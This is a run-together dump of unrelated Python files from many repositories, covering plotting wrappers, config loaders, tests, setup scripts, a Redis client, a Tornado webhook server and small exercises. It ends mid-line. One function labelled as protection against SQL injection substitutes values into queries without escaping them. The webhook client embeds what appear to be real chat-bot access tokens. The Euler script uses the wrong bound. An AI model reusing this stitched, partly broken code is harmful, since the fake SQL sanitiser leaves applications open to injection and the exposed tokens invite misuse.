line.set_label(str(self.axes[1].values[i])) # add legend if legend: ax.legend() return pc def _plot2D(self, funcname, *args, **kwargs): """ generic plotting function for 2-D plots """ if len(self.dims) != 2: raise NotImplementedError(funcname+" can only be called on two-dimensional dimarrays.") import matplotlib.pyplot as plt #ax = plt.gca() if 'ax' in kwargs: ax = kwargs.pop('ax') else: ax = plt.gca() colorbar = kwargs.pop('colorbar', False) # get the actual plotting function function = getattr(ax, funcname) # extract information about axis value and labels # e.g. transform non-numeric data to float and # set appropriate labels afterwards. xval, xticks, xticklab, xlab = _get_axis_labels(self.axes[1]) yval, yticks, yticklab, ylab = _get_axis_labels(self.axes[0]) values = self.values # pcolor does not work with nans if (funcname == 'pcolormesh' or funcname == 'pcolor') and anynan(values): values = np.ma.array(values, mask=np.isnan(values)) # make the plot pc = function(xval, yval, values, **kwargs) # add labels if xlab is not None: ax.set_xlabel(xlab) if ylab is not None: ax.set_ylabel(ylab) if xticklab is not None: ax.set_xticklabels(xticklab) if xticks is not None: ax.set_xticks(xticks) if yticklab is not None: ax.set_yticklabels(yticklab) if yticks is not None: ax.set_yticks(yticks) # add colorbar? if colorbar: plt.colorbar(pc, ax=ax) return pc # # 1-D functions # def plot(self, *args, **kwargs): """ Plot 1-D or 2-D data. Wraps matplotlib's plot() Parameters ---------- *args, **kwargs : passed to matplotlib.pyplot.plot legend : True (default) or False Display legend for 2-D data. ax : matplotlib.Axis, optional Provide axis on which to show the plot. Returns ------- lines : list of matplotlib's Lines2D instances Note ---- You can use to_pandas().plot() combination to use pandas' plot method. Examples -------- >>> from dimarray import DimArray >>> data = DimArray(np.random.rand(4,3), axes=[np.arange(4), ['a','b','c']], dims=['distance', 'label']) >>> data.axes[0].units = 'meters' >>> h = data.plot(linewidth=2) >>> h = data.T.plot(linestyle='-.') >>> h = data.plot(linestyle='-.', legend=False) """ assert self.ndim <= 2, "only support plotting for 1- and 2-D objects" return self._plot1D('plot', *args, **kwargs) def bar(self, *args, **kwargs): """ Make a bar plot Wraps matplotlib bar() See plot documentation in matplotlib for accepted keyword arguments. """ if len(self.dims) > 1: raise NotImplementedError("plot can only be called up to one-dimensional array.") return self._plot1D('bar',*args, **kwargs) def barh(self, *args, **kwargs): """ Make a horizontal bar plot Wraps matplotlib barh() See barh documentation in matplotlib for accepted keyword arguments. """ if len(self.dims) > 1: raise NotImplementedError("plot can only be called up to two-dimensional array.") return self._plot1D('barh',*args, **kwargs) def stackplot(self, *args, **kwargs): """ Draws a stacked area plot. Wraps matplotlib stackplot() See stackplot documentation in matplotlib for accepted keyword arguments. """ if len(self.dims) > 2: raise NotImplementedError("plot can only be called up to two-dimensional dimarrays.") kwargs['_transpose'] = True kwargs['legend'] = False return self._plot1D('stackplot',*args, **kwargs) # # 2-D functions # def pcolor(self, *args, **kwargs): """ Plot a quadrilateral mesh. Wraps matplotlib pcolormesh(). See pcolormesh documentation in matplotlib for accepted keyword arguments. Examples -------- >>> from dimarray import DimArray >>> x = DimArray(np.zeros([100,40])) >>> x.pcolor() # doctest: +SKIP >>> x.T.pcolor() # to flip horizontal/vertical axes # doctest: +SKIP """ if len(self.dims) != 2: raise NotImplementedError("pcolor can only be called on two-dimensional dimarrays.") return self._plot2D('pcolormesh', *args, **kwargs) def contourf(self, *args, **kwargs): """ Plot filled 2-D contours. Wraps matplotlib contourf(). See contourf documentation in matplotlib for accepted keyword arguments. Examples -------- >>> from dimarray import DimArray >>> x = DimArray(np.zeros([100,40])) >>> x[:50,:20] = 1. >>> x.contourf() # doctest: +SKIP >>> x.T.contourf() # to flip horizontal/vertical axes # doctest: +SKIP """ if len(self.dims) != 2: raise NotImplementedError("contourf can only be called on two-dimensional dimarrays.") return self._plot2D('contourf', *args, **kwargs) def contour(self, *args, **kwargs): """ Plot 2-D contours. Wraps matplotlib contour(). See contour documentation in matplotlib for accepted keyword arguments. Examples -------- >>> from dimarray import DimArray >>> x = DimArray(np.zeros([100,40])) >>> x[:50,:20] = 1. >>> x.contour() # doctest: +SKIP >>> x.T.contour() # to flip horizontal/vertical axes # doctest: +SKIP """ if len(self.dims) != 2: raise NotImplementedError("contour can only be called on two-dimensional dimarrays.") return self._plot2D('contour', *args, **kwargs) hnwarid/DQLabAcademy import pandas as pd import matplotlib.pyplot as plt tabel = pd.read_csv("https://storage.googleapis.com/dqlab-dataset/produktivitas_karyawan.csv", index_col="Bulan") / 1000 fig, ax = plt.subplots(1, 1, figsize=(12, 6)) fig.suptitle("Best Employee 2019", x=0.01, y=0.95, fontsize=24, fontweight="bold", ha="left") ax.set_title("Lima karyawan dengan produktivitas tertinggi\n", fontsize=18, ha="right") colors = ["tab:gray", "tab:gray", "tab:gray", "tab:gray", "darkblue"] line_widths = [ 1.5, 2, 1, 2.5, 3.] lp = tabel.plot(kind="line", ax=ax, xlim=[0, 11], ylim=[10, 40], color=colors, xticks=range(tabel.shape[0]), yticks=[10, 20, 30, 40]) add_lbl_pos = [ 0.3, 0.5, 1.2, -1.0, 0.5] add_avg_pos = [-0.7, -0.5, 0.2, -2.0, -0.5] for i, item in enumerate(lp.get_lines()): item.set_linewidth(line_widths[i]) lbl = item.get_label() ax.annotate(lbl, (11, tabel.loc["Desember", lbl]), (11.2, tabel.loc["Desember", lbl] + add_lbl_pos[i]), fontweight="bold", fontsize=12, color=colors[i], va="center", arrowprops={"arrowstyle": "-", "color": colors[i]}) ax.annotate("(avg: %.4f)" % tabel[lbl].mean(), (11, tabel.loc["Desember", lbl]), (11.2, tabel.loc["Desember", lbl] + add_avg_pos[i]), fontsize=11, color=colors[i], va="center") highest_prod = tabel["Karyawan E"].max() ax.annotate("Produktivitas\ntertinggi\n%.4f" % highest_prod, (8, highest_prod), (7.75, highest_prod+1.5), ha="left", color=colors[-1], arrowprops={"arrowstyle": "-", "color": colors[-1]}) ax.set_xticklabels([item[:3] for item in tabel.index], fontsize=12) ax.set_yticklabels([str(i) for i in [10, 20, 30, 40]], fontsize=12) ax.set_xlabel("") ax.set_ylabel("Jumlah produk (ribuan)\n", fontsize=14) ax.spines["top"].set_color("none") ax.spines["right"].set_color("none") ax.spines["bottom"].set_color("none") ax.get_legend().remove() plt.tight_layout(rect=(0,0,1,0.90)) plt.show()wenbinhuang9/syncer import os from key_val_text_parser import KVTestParser CONG_FILE_NAME = "~/.syncer/s3_config" AWS_S3_BUCKET_CONST = "aws_s3_bucket" config_dir = "./.syncer" configfile = os.path.join(config_dir, "s3_config") def set(key, value): if not os.path.exists(config_dir): os.mkdir(config_dir) kvParser = KVTestParser(configfile) if value != "" and key != "": kvParser.set(key, value) def getBucket(): kvParser = KVTestParser(configfile) return kvParser.get(AWS_S3_BUCKET_CONST) # Copyright 2016 Ifwe Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from sqlalchemy import Enum, ForeignKey from sqlalchemy.dialects.mysql import INTEGER, TIMESTAMP, FLOAT from sqlalchemy.orm import relationship, synonym from sqlalchemy.sql.expression import func from .meta import Base, Column, String class Deployment(Base): __tablename__ = 'deployments' id = Column(u'DeploymentID', INTEGER(), primary_key=True) user = Column(String(length=32), nullable=False) status = Column( Enum('pending', 'queued', 'inprogress', 'complete', 'failed', 'canceled', 'stopped'), server_default='pending', nullable=False, ) delay = Column(u'delay', INTEGER(), server_default='0') declared = Column( TIMESTAMP(), nullable=False, server_default=func.current_timestamp() ) created_at = synonym('declared') duration = Column(FLOAT(), nullable=False, server_default="0") app_deployments = relationship( 'AppDeployment', order_by="AppDeployment.created_at, AppDeployment.id" ) host_deployments = relationship( 'HostDeployment', order_by="HostDeployment.created_at, HostDeployment.id" ) import os FILE_PATH = os.path.dirname(os.path.realpath(__file__)) PROJECT_PATH = os.path.dirname(FILE_PATH) TEMP_TASK_PATH = os.path.join(FILE_PATH, 'tmp') def genCompGlyph(): JIEGOU_PATH = os.path.join(PROJECT_PATH, 'hanzi-jiegou') if not os.path.exists(JIEGOU_PATH): print('Not found hanzi-jiegou') return import sys sys.path.append(os.path.join(JIEGOU_PATH, 'scripts')) import genGlyphTab as gen filePath = os.path.join(FILE_PATH, 'glyph.json') gen.genGlyphTab(filePath) gen.genGlyphFiles(TEMP_TASK_PATH, filePath) genCompGlyph()soras/bratiaa from bratiaa.agree import * from functools import partial import pytest def test_missing_label(): with pytest.raises(KeyError, match='MISC'): root = 'data/agreement/agree-2' labels = ['PER', 'LOC', 'ORG'] # missing label docs = ['esp.train-doc-29.ann', 'esp.train-doc-46.ann'] annotators = ['ann1', 'ann2'] F1Agreement(partial(input_generator, root), labels, annotators=annotators, documents=docs) def test_missing_document(): with pytest.raises(AssertionError, match='Input generator yields more documents than expected!'): root = 'data/agreement/agree-2' labels = ['PER', 'LOC', 'ORG', 'MISC'] docs = ['esp.train-doc-29.ann'] # missing document annotators = ['ann1', 'ann2'] F1Agreement(partial(input_generator, root), labels, annotators=annotators, documents=docs) def test_single_annotator(): with pytest.raises(AssertionError, match='At least two annotators are necessary to compute agreement!'): root = 'data/agreement/agree-2-unterschiede' labels = ['PER', 'LOC', 'ORG', 'MISC'] docs = ['esp.train-doc-29.ann', 'esp.train-doc-46.ann'] annotators = ['ann1'] F1Agreement(partial(input_generator, root), labels, annotators=annotators, documents=docs) 1-10 import setuptools import instafs with open("README.adoc", "r") as fh: long_description = fh.read() setuptools.setup( name="instafs", version=instafs.__version__, author=instafs.__author__, author_email="", description=instafs.__description__, long_description=long_description, long_description_content_type="text/asciidoc", url="https://github.com/igsha/instafs", packages=setuptools.find_packages(), entry_points={ 'console_scripts': [ 'instafs = instafs.instafs:main' ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], python_requires='>=3.6', install_requires=[ 'requests>=2.23.0', 'fuse-python>=1.0.0', ], ) #---防sql注入处理——# import re def res(sql,list2): """ :param sql: :param list2: :return sql字段: """ if list2 !=[]: for i in list2: j=str(i) if i==None: print(j); j="null" if j.find(" ")<=0: if type(i)==type("ds"): ##该判断作用是免去后面判断字段类型的麻烦 sql = re.sub("#", "'"+j+"'", sql, 1) else: sql = re.sub("#",j, sql, 1) print(sql) if len(open("sqllog.txt", "r").readlines()) > 90: print("你的SQL语句已经使用到了"+str(len(open("sqllog.txt", "r").readlines()))+"条，需要请去记录，200条被删除，在sqllog") if len(open("sqllog.txt","r").readlines())>120: open("sqllog.txt", "w").write(sql + "\n") else: open("sqllog.txt", "a").write(sql + "\n") return sql #!/usr/bin/python # -*- coding: utf-8 -*- # derpconf # https://github.com/globocom/derpconf # Licensed under the MIT license: # http://www.opensource.org/licenses/mit-license # Copyright (c) 2012 globo.com import os from os.path import abspath, join, dirname from collections import defaultdict from pyvows import Vows, expect from derpconf.config import Config, ConfigurationError fix = lambda name: abspath(join(dirname(__file__), 'fixtures', name)) @Vows.batch class Configuration(Vows.Context): class WhenLoading(Vows.Context): class WhenFileDoesNotExist(Vows.Context): def topic(self): err = expect.error_to_happen(ConfigurationError) with err: Config.load(fix('not-existent.conf')) return err def should_be_an_error(self, topic): expect(topic).to_be_an_error() expect(topic).to_be_an_error_like(ConfigurationError) class WhenFileExists(Vows.Context): def topic(self): return Config.load(fix('sample.conf'), defaults={ 'PROPER': 'PROPERVALUE' }) def should_have_default_value(self, topic): expect(topic.PROPER).to_equal('PROPERVALUE') def should_have_set_value(self, topic): expect(topic.FOO).to_equal('bar') def should_not_have_lower_case_value(self, topic): expect(hasattr(topic, 'baz')).to_be_false() class WhenPathIsNone(Vows.Context): class AndConfNameExists(Vows.Context): def topic(self): return Config.load(None, conf_name='sample.conf', lookup_paths=['vows/fixtures/']) def should_have_set_value(self, topic): expect(topic.FOO).to_equal('bar') class AndConfNameDoesNotExist(Vows.Context): def topic(self): return Config.load( None, conf_name='not-existent.conf', lookup_paths=['vows/fixtures/'], defaults={'DEFAULT': 'DEFAULTVALUE'} ) def should_have_default_values(self, topic): expect(topic.DEFAULT).to_equal('DEFAULTVALUE') class AndConfNameIsNone(Vows.Context): def topic(self): return Config.load(None, defaults={'DEFAULT': 'DEFAULTVALUE'}) def should_have_default_values(self, topic): expect(topic.DEFAULT).to_equal('DEFAULTVALUE') class WhenSettingAnAlias(Vows.Context): def topic(self): Config.alias('OTHER_ENGINE', 'ENGINE') return Config(OTHER_ENGINE='x') def should_set_engine_attribute(self, config): expect(config.ENGINE).to_equal('x') def should_set_other_engine_attribute(self, config): expect(config.OTHER_ENGINE).to_equal('x') class WhenSettingAnAliasedKey(Vows.Context): def topic(self): Config.alias('LOADER_ALIAS', 'LOADER') return Config(LOADER='y') def should_set_loader_attribute(self, config): expect(config.LOADER).to_equal('y') def should_set_loader_alias_attribute(self, config): expect(config.LOADER_ALIAS).to_equal('y') class WithAliasedAliases(Vows.Context): def topic(self): Config.alias('STORAGE_ALIAS', 'STORAGE') Config.alias('STORAGE_ALIAS_ALIAS', 'STORAGE_ALIAS') return Config(STORAGE_ALIAS_ALIAS='z') def should_set_storage_attribute(self, config): expect(config.STORAGE).to_equal('z') def should_set_storage_alias_attribute(self, config): expect(config.STORAGE_ALIAS).to_equal('z') def should_set_storage_alias_alias_attribute(self, config): expect(config.STORAGE_ALIAS_ALIAS).to_equal('z') class WithDefaultValues(Vows.Context): def topic(self): return Config() class WhenVerifying(Vows.Context): def topic(self): class SpecialConfig(Config): class_defaults = {} class_group_items = defaultdict(list) class_groups = [] class_descriptions = {} SpecialConfig.define('some_key', 'default', 'test key') return SpecialConfig.verify(fix('missing.conf')) def should_be_lengthy(self, topic): expect(topic).to_length(1) class WhenUsedAsDict(Vows.Context): def topic(self): return Config.load(fix('sample.conf')) def should_have_get_value_as_dict(self, topic): expect(topic['FOO']).to_equal('bar') def should_have_set_value_as_dict(self, topic): topic['X'] = 'something' expect(topic['X']).to_equal('something') class WithError(Vows.Context): def topic(self, parent_topic): err = expect.error_to_happen(KeyError) with err: parent_topic['INVALID_KEY'] return err def should_raise_key_error(self, topic): expect(topic).to_be_an_error_like(KeyError) class WhenGetDescription(Vows.Context): def topic(self): Config.define('some_key', 'default', 'test key') return Config.load(fix('missing.conf')) def should_have_description(self, topic): expect(topic.get_description('some_key')).to_equal('test key') class WhenEnvironmentVariablesIsDisabled(Vows.Context): def topic(self): Config._allow_environment_variables = False config = Config.load(fix('sample.conf')) try: os.environ['FOO'] = "baz" return config.FOO finally: del os.environ['FOO'] def should_be_equal_to_env(self, topic): expect(topic).to_equal("bar") class WhenGettingFromEnvironment(Vows.Context): class WhenKeyDoesNotExistInConfiguration(Vows.Context): def topic(self): os.environ['SOME_CONFIGURATION'] = "test value" config = Config() Config.allow_environment_variables() return config.SOME_CONFIGURATION def should_be_equal_to_env(self, topic): expect(topic).to_equal("test value") class WhenKeyExistsInConfigurationFile(Vows.Context): def topic(self): config = Config.load(fix('sample.conf')) Config.allow_environment_variables() try: os.environ['FOO'] = "baz" return config.FOO finally: del os.environ['FOO'] def should_be_equal_to_env(self, topic): expect(topic).to_equal("baz") class WhenReloading(Vows.Context): def topic(self): class SpecialConfig(Config): class_defaults = {} class_group_items = defaultdict(list) class_groups = [] class_descriptions = {} config = SpecialConfig.load(fix('sample.conf'), defaults={ 'PROPER': 'PROPERVALUE' }) SpecialConfig.define('UBERFOO', 'baz', 'something', 'else') config.reload() return config def should_have_uberfoo(self, topic): expect(hasattr(topic, 'UBERFOO')).to_be_true() expect(topic.UBERFOO).to_equal('baz') 1-10 #!/usr/bin/env python # # Copyright (c) 2019 Opticks Team. All Rights Reserved. # # This file is part of Opticks # (see https://bitbucket.org/simoncblyth/opticks). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ key.py =============== See also:: ana/geocache.bash boostrap/BOpticksResource.cc NB path layout changes need to be done in triplicate in bash/py/C++ Analogous to bpath.py in old route Notes ------- * some old IDPATH comparison code squatting in this namespace moved to cfgeocache """ import os, logging, numpy as np, argparse log = logging.getLogger(__name__) class Key(object): @classmethod def GeoCachePrefix(cls): geocache_prefix_default = os.path.expanduser("~/.opticks") geocache_prefix = os.environ.get("OPTICKS_GEOCACHE_PREFIX", geocache_prefix_default ) return geocache_prefix @classmethod def GeoCacheDir(cls): return "%s/geocache" % cls.GeoCachePrefix() @classmethod def Keydir(cls, key): """ Should match bash geocache-keydir """ if key is None: return None elem = key.split(".") assert len(elem) == 4, elem exe,kls,top,dig = elem assert len(dig) == 32, "OPTICKS_KEY digest %s is expected to be length 32, not %d " % (dig, len(dig)) geocache_dir = cls.GeoCacheDir() tmpl = "{geocache_dir}/{exe}_{top}_g4live/g4ok_gltf/{dig}/1".format(**locals()) keydir = os.path.expandvars(tmpl) return keydir def __init__(self, key=os.environ.get("OPTICKS_KEY",None)): keydir = Key.Keydir(key) exists = os.path.isdir(keydir) self.key = key self.keydir = keydir self.exists = exists self.digest = key.split(".")[-1] assert exists, "keydir does not exist %s " % str(self) def __str__(self): return "\n".join([self.key, self.keydir]) if __name__ == '__main__': pass logging.basicConfig(level=logging.INFO) parser = argparse.ArgumentParser(__doc__) parser.add_argument( "-v", "--verbose", action="store_true", help="Report key and keydir" ) args = parser.parse_args() key = Key() if args.verbose: print(key) else: print(key.keydir) pass baris = 10 kolom = baris for bar in range(baris): for col in range(kolom): tab = bar+col print("{0:>5}".format(tab), end='') print() #!/usr/bin/env python3 # wykys 2019 from numpy import ndarray from awgn import awgn WAV_PATH = '../wav/' def wav(path: str, snr_db: float = None) -> list: from scipy.io import wavfile fs, s = wavfile.read(WAV_PATH + path) if not (snr_db is None): s = awgn(s, snr_db) s = s / s.max() return fs, s from typing import TypeVar, Generic from abc import ABC, abstractmethod, abstractproperty T = TypeVar('T') class Graph(ABC): """Graph abstract base class""" @abstractmethod def add(self, *iterable) -> None: """Add elements to the graph""" pass @abstractproperty def connections(self): """Get connections of the data node""" pass @abstractmethod def __str__(self) -> str: """String representation of the graph""" pass class Node(Graph): def __init__(self, node_value): self.node_value = node_value self.connections = [] def add(self, *iterable): nodes = [] new_node_values = [] for n in iterable: if isinstance(n, Node): nodes.append(n) else: new_node_values.append(n) for node in nodes: self.connections.append(node) node.connections.append(self) new_nodes = [] for value in new_node_values: new_node = Node(value) self.connections.append(new_node) new_node.connections.append(self) new_nodes.append(new_node) return new_nodes def get_connection(self, value): for connection in self.connections: if connection.node_value == value: return connection def is_connected_with(self, node): for connection in self.connections: if connection.node_value == node.node_value: return True return False def __str__(self): connections = [c.node_value for c in self.connections] return f'Graph(Value: {self.node_value}, Connections: {connections})' def __repr__(self): return str(self) import io import os from django.core.files.uploadedfile import SimpleUploadedFile from PIL import Image import pytest from app.models import Photo def generate_image(filename): file = io.BytesIO() image = Image.new('RGBA', size=(10, 10), color=(0, 0, 0)) image.save(file, 'png') file.name = filename file.seek(0) return file @pytest.fixture def sample_photos(): photos = [] for filename in ['a.png', 'b.png', 'c.png']: with generate_image(filename) as fp: photo = Photo.objects.create( title=f'Sample photo {filename}', description='Sample description', image=SimpleUploadedFile(name=filename, content=fp.read()) ) photos.append(photo) yield photos for photo in photos: photo.delete()liuboyan122/working-line import os from ament_index_python.packages import get_package_share_directory from launch import LaunchDescription from launch.actions import ExecuteProcess from launch_ros.actions import Node def generate_launch_description(): package_share_dir = get_package_share_directory("line") urdf_file = os.path.join(package_share_dir, "urdf", "table.urdf") return LaunchDescription( [ ExecuteProcess( cmd=["gazebo","-s","libgazebo_ros_factory.so",], output="screen", ), Node( package="gazebo_ros", executable="spawn_entity.py", arguments=["-entity","table","-b","-file", urdf_file,'-x', '3.75','-y', '0','-z', '0','-Y','0'], ), Node( package="robot_state_publisher", executable="robot_state_publisher", output="screen", arguments=[urdf_file], ), ] ) redis/redisclient.py # _*_ coding:utf-8 _*_ import time import redis from logbook import Logger import msgpack log = Logger("REDISCLIENT") class RedisClient(object): """ 包装 redis 库 """ def __init__(self, conf): """ :param conf: dict, 包含 Redis 的 host, port, db """ try: pool = redis.ConnectionPool( host=conf.get('REDIS_HOST', 'localhost'), port=conf.get('REDIS_PORT', 6379), db=conf.get('REDIS_DB', 0)) log.debug(pool) self.__db = redis.StrictRedis(connection_pool=pool, socket_timeout=1) self.testConnect() except (ConnectionError, Exception) as e: log.error('\n' + str(e) + '\n') # 测试redis连通性 @staticmethod def pack_to_byte(raw): return msgpack.packb(raw) @staticmethod def unpack_to_raw(pack_data): return msgpack.unpackb(pack_data) def load_script(self, scritp): self.sha = self.__db.script_load(scritp) return self.sha def exec_script(self, **kwargs): tags = kwargs.pop("tags") timestamp = kwargs.pop("timestamp") data = kwargs.pop("data") return self.__db.evalsha(self.sha,1, tags, timestamp, data) def testConnect(self): """ 初始化连接 Redis 数据库, 确保 redis 连接成功 :return: True """ while True: try: self.__db.ping() return True except (ConnectionError, Exception) as e: log.error('\n' + str(e) + '\n') time.sleep(2) continue def set_value(self, key, value, ex=None, px=None, nx=False, xx=False): return self.__db.set(key, value, ex=ex, px=px, nx=nx, xx=xx) def get_value(self, key): return self.__db.get(key) def dequeue(self, key): """ 删除并返回队列的最后一个一个元素，如果队列为空则阻塞 """ return self.__db.rpop(key) def getLen(self, key): """ 返回队列的长度 """ return self.__db.llen(key) def enqueue(self, key, data): """ 压入数据，放在队列首的位置 """ return self.__db.lpush(key, data) def flushDb(self): """ 删除当前数据库的所有key """ return self.__db.flushdb() def keys(self, pattern='*'): """ 返回一个列表，给与key所对应的所有值，pattern不传参数则返回所有 """ return self.__db.keys(pattern) if __name__ == "__main__": redis_client = RedisClient({}) print(redis_client) tags = redis_client.pack_to_byte("test") timestamp = redis_client.pack_to_byte(str(time.time())) data = redis_client.pack_to_byte({"enqueue":"python" }) with open("enqueue.lua", encoding="utf-8") as fd: script = fd.read() redis_client.load_script(script) redis_client.exec_script(tags = tags, timestamp = timestamp, data = data) data = redis_client.dequeue("data_queue") unpack_data = msgpack.unpackb(data) for key in unpack_data: print(key, msgpack.unpackb(unpack_data[key]))""" Convert a date to different formats. """ from PyQt6 import QtCore # type: ignore from pineboolib.application.qsatypes import date import datetime import re from typing import Optional, List, Union def date_dma_to_amd(date_str: str) -> Optional[str]: """ Convert day, month, year to year, month day. @param date_str: date string. @return date string formated. """ if not date_str: return None date_str = str(date_str) if date_str.find("T") > -1: date_str = date_str[: date_str.find("T")] dia_ = None mes_ = None ano_ = None array_: List[str] = re.split("-|/", date_str) if len(array_) > 1: if len(array_) == 3: dia_, mes_, ano_ = array_ if len(array_[0]) == 2 else reversed(array_) elif len(date_str) > 7: dia_ = date_str[0:2] mes_ = date_str[2:2] ano_ = date_str[4:4] return "%s-%s-%s" % (ano_, mes_, dia_) if ano_ and dia_ and mes_ else "" def date_amd_to_dma(date_str: str) -> str: """ Convert year, month day to day, month, year. @param date_str: date string. @return date string formated. """ if not date_str: return "" date_str = str(date_str) if date_str.find("T") > -1: date_str = date_str[: date_str.find("T")] dia_ = None mes_ = None ano_ = None array_: List[str] = re.split("-|/", date_str) if len(array_) > 1: if len(array_) == 3: dia_, mes_, ano_ = reversed(array_) if len(array_[0]) == 4 else array_ elif len(date_str) > 7: ano_ = date_str[0:4] mes_ = date_str[4:2] dia_ = date_str[6:2] return "%s-%s-%s" % (dia_, mes_, ano_) if ano_ and dia_ and mes_ else "" def convert_to_qdate( value: Union["datetime.date", "date.Date", str, "QtCore.QDate"] ) -> "QtCore.QDate": """ Convert different date formats to QDate. @param date: Date to convert. @return QDate with the value of the given date. """ if isinstance(value, date.Date): value = value.toString() # QDate -> str elif isinstance(value, datetime.date): value = str(value) if isinstance(value, str): if "T" in value: value = value[: value.find("T")] new_value = date_amd_to_dma(value) if len(value.split("-")[0]) == 4 else value value = QtCore.QDate.fromString(new_value, "dd-MM-yyyy") return value plasmadna-tgirt/preprocess/checkFastq.py #!/bin/env python from Bio.SeqIO.QualityIO import FastqGeneralIterator import argparse import gzip import glob parser = argparse.ArgumentParser(description='Check splitted fastq for sequence length and quality length.') parser.add_argument('-i','--datapath', required=True, help='Fastq path for the fastq files to be checked.') args = parser.parse_args() files = glob.glob(args.datapath + '/*gz') for fastq in files: if 'fastq' in fastq or 'fq' in fastq: with gzip.open(fastq) as file_handle: for id, seq, qual in FastqGeneralIterator(file_handle): if len(seq) != len(qual): print '%s: %s not matched' %(fastq, id) print 'Finished checking %s ' %fastq else: print '%s is not fastq file' %fastq import requests import json import datetime import tornado.web import tornado.ioloop from tornado import gen import asyncio import threading import _thread hook_token = '' call=None #定义处理类型 class IndexHandler(tornado.web.RequestHandler): #添加一个处理get请求方式的方法 @gen.coroutine def get(self,path): global call,hook_token #向响应中，添加数据 token = self.get_argument('token') self.write('token is :%s'%token) if token == hook_token and call != None and hasattr(call, '__call__'): _thread.start_new_thread(call,()) self.finish() class WebhookServer(object): #threading.Thread def __init__(self,callhandler,token=None,port=9899): super().__init__() global call,hook_token self.port = port if port > 0 else 9899 call = callhandler if token != None and token != "": hook_token = token def run(self): # tornado 5 中引入asyncio.set_event_loop即可 asyncio.set_event_loop(asyncio.new_event_loop()) #创建一个应用对象 app = tornado.web.Application(handlers=[(r"/hook(.*)", IndexHandler)]) #绑定一个监听端口 app.listen(self.port) print('webhook server is running on port %s,the access token is %s.'%(self.port,hook_token)) #启动web程序，开始监听端口的连接 tornado.ioloop.IOLoop.current().start() class WebhookClient(object): @staticmethod def sendFinished(url,start,end): program={ "msgtype": "text", "text": {"content": "[%s] 完成数据从 [ %s ] 到 [ %s ] 的同步。" %(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),start,end)}, } _sendStart(url,program) @staticmethod def sendStart(url,start): program={ "msgtype": "text", "text": {"content": "[%s] 从第 [ %s ] 开始同步数据。" %(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),start)}, } _sendStart(url,program) @staticmethod def sendError(url,errMas,id): program={ "msgtype": "text", "text": {"content": "[%s] 同步到 [%s] 发生 [错误] %s。" %(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),id,errMas)}, } _sendStart(url,program) @staticmethod def _sendStart(url,content): headers={'Content-Type': 'application/json'} f=requests.post(url,data=json.dumps(content),headers=headers) if __name__ == "__main__": def ttt(): print('ttt') ws = WebhookServer(ttt,'ppp') ws.run() ws.join() url = 'https://oapi.dingtalk.com/robot/send?access_token=413657725cd9b92c4e06f17696df0afacff6feb450d007f1328810def0ee968a' url1 = 'https://oapi.dingtalk.com/robot/send?access_token=0ead35e2f76ecfff379979a7e751c2edee127bfef4c7ac663c8c867c027ea94a' WebhookClient.sendFinished(url,0,100) WebhookClient.sendStart(url1,100)''' Euler 001 If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000. ''' t = 1 v = 0 uvalue = 10000 for t in range(1, uvalue): if (t % 3 == 0) or (t % 5 == 0): print(t) v = v + t print("Total: ", v) """Module tests""" from mercantile import Tile import pytest import mbtiles @pytest.mark.parametrize('tile', [Tile(36, 73, 7), Tile(0, 0, 0), Tile(1, 1, 1)]) def test_process_tile(data, tile): mbtiles.init_worker( str(data.join('RGB.byte.tif')), { 'driver': 'PNG', 'dtype': 'uint8', 'nodata': 0, 'height': 256, 'width': 256, 'count': 3, 'crs': 'EPSG:3857'}, 'nearest') t, contents = mbtiles.process_tile(tile) assert t.x == tile.x assert t.y == tile.y assert t.z == tile.z from __future__ import print_function import numpy as np from .config import Config from .trials import Trial from sklearn.pipeline import Pipeline def execute(args, parser): config = Config(args.config, verbose=False) session = config.trials() items = [curr.to_dict() for curr in session.query(Trial).all()] if not items: print('No Models Found') else: mean_test_scores = np.nan_to_num(np.array([i["mean_test_score"] for i in items], dtype=float)) c_b_m = items[mean_test_scores.argmax()] parameter_dict = c_b_m["parameters"] weighted_mean = c_b_m["mean_test_score"] raw_test_scores = np.array(c_b_m["test_scores"]) raw_test_weights = np.array(c_b_m["n_test_samples"]) weighted_var = np.average((raw_test_scores - weighted_mean)**2, weights=raw_test_weights) weighted_std = np.sqrt(weighted_var) print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') print('Best Current Model = %f +- %f' % (weighted_mean, weighted_std)) print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') if isinstance(config.estimator(), Pipeline): print('PipelineStep\tParameter \t Value') for i in config.estimator().steps: print(i[0]) for param in sorted(parameter_dict.keys()): if str(param).startswith(i[0]): print("\t\t", param.split("__")[1], "\t", parameter_dict[param]) else: print(config.estimator()) search_space = config.search_space().variables.keys() for param in sorted(parameter_dict.keys()): if param in search_space: print("\t\t", param, "\t", parameter_dict[param]) return from setuptools import setup, find_packages setup( name='pypga', version='1.0.0', packages=find_packages(), install_requires=( "migen@git+https://github.com/pypga/migen@master", "misoc@git+https://github.com/pypga/misoc@master", "migen-axi@git+https://github.com/pypga/migen-axi@master", "pydantic>=1.5.1", "paramiko>=2.7.2", ), ) spritesheetcutter/sprite sheet cutter.py from SimpleGraphics import* # from cvsaver import* import numpy as np import cv2 bg=loadImage("spritesheet.gif") bgW=int(getWidth(bg)) #calculate the width of the background bgH=int(getHeight(bg)) resize(bgW,bgH) bgX = int(getWidth() / 2 - bgW / 2) #x coordinate for it to be centered bgY = int(getHeight() / 2 - bgH 